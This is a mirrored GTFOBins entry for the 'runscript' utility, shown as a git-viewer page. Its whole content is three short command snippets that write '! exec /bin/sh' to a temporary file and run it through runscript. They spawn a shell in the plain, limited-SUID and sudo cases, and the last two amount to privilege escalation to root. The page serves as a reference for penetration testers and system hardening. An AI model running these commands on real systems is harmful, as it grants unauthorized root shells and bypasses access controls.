mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 23:38:29 +01:00
19 lines
335 B
Markdown
19 lines
335 B
Markdown
|
---
|
||
|
functions:
|
||
|
shell:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo '! exec /bin/sh' >$TF
|
||
|
runscript $TF
|
||
|
limited-suid:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo '! exec /bin/sh' >$TF
|
||
|
./runscript $TF
|
||
|
sudo:
|
||
|
- code: |
|
||
|
TF=$(mktemp)
|
||
|
echo '! exec /bin/sh' >$TF
|
||
|
sudo runscript $TF
|
||
|
---
|